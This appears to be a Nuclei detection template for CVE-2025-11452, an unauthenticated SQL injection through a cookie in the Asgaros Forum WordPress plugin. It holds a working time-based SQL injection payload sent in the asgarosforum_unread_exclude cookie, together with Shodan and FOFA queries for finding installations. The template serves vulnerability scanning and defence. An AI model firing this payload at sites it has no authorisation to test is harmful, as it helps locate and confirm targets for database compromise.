Asgaros Forum for WordPress versions prior to 3.2.0 is vulnerable to unauthenticated SQL injection through the asgarosforum_unread_exclude cookie. The cookie is JSON-decoded and its object keys are imploded into a NOT IN() clause without sanitisation. The vulnerable query only runs while rendering the forum page, so the payload must be sent there rather than to the site root.
id: CVE-2025-11452
info:
name: Asgaros Forum < 3.2.0 - SQL Injection
author: Pauullamm
severity: high
description: |
Asgaros Forum for WordPress versions prior to 3.2.0 is vulnerable to unauthenticated SQL injection through the asgarosforum_unread_exclude cookie. The cookie is JSON-decoded and its object keys are imploded into a NOT IN() clause without sanitisation. The vulnerable query only runs while rendering the forum page, so the payload must be sent there rather than to the site root.
impact: |
Unauthenticated attackers can execute arbitrary SQL against the WordPress database.
remediation: |
Update Asgaros Forum to 3.2.0 or later.
reference:
- https://wpscan.com/vulnerability/e89f1f31-dc70-4ea5-b389-81c8be5b10c6/
- https://plugins.trac.wordpress.org/browser/asgaros-forum/trunk/includes/forum-unread.php
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11452
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-11452
epss-score: 0.01602
epss-percentile: 0.76229
cwe-id: CWE-89
metadata:
verified: true
max-request: 5
vendor: asgaros
product: asgaros-forum
framework: wordpress
shodan-query: html:"/wp-content/plugins/asgaros-forum"
fofa-query: body="/wp-content/plugins/asgaros-forum"
tags: cve,cve2025,wordpress,wp-plugin,asgaros-forum,sqli,vkev
http:
- method: GET
path:
- "{{BaseURL}}/forum/"
- "{{BaseURL}}/forums/"
- "{{BaseURL}}/community/"
- "{{BaseURL}}/board/"
- "{{BaseURL}}/"
headers:
Cookie: 'asgarosforum_unread_exclude={"(SELECT(0)FROM(SELECT(SLEEP(7)))a)":1}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '<body\b[^>]*\bclass=["''][^"'']*\basgaros-forum\b[^"'']*["'']'
- type: dsl
dsl:
- 'duration >= 7'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502210098a6ffac94e1d066a6498618aa424103f7b2315fccb0107a226b98fe6ee9cdf402204dafbe324f15d769bef3e7121fd584908ea8fcee46f069c322084e128f3e3a9d:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.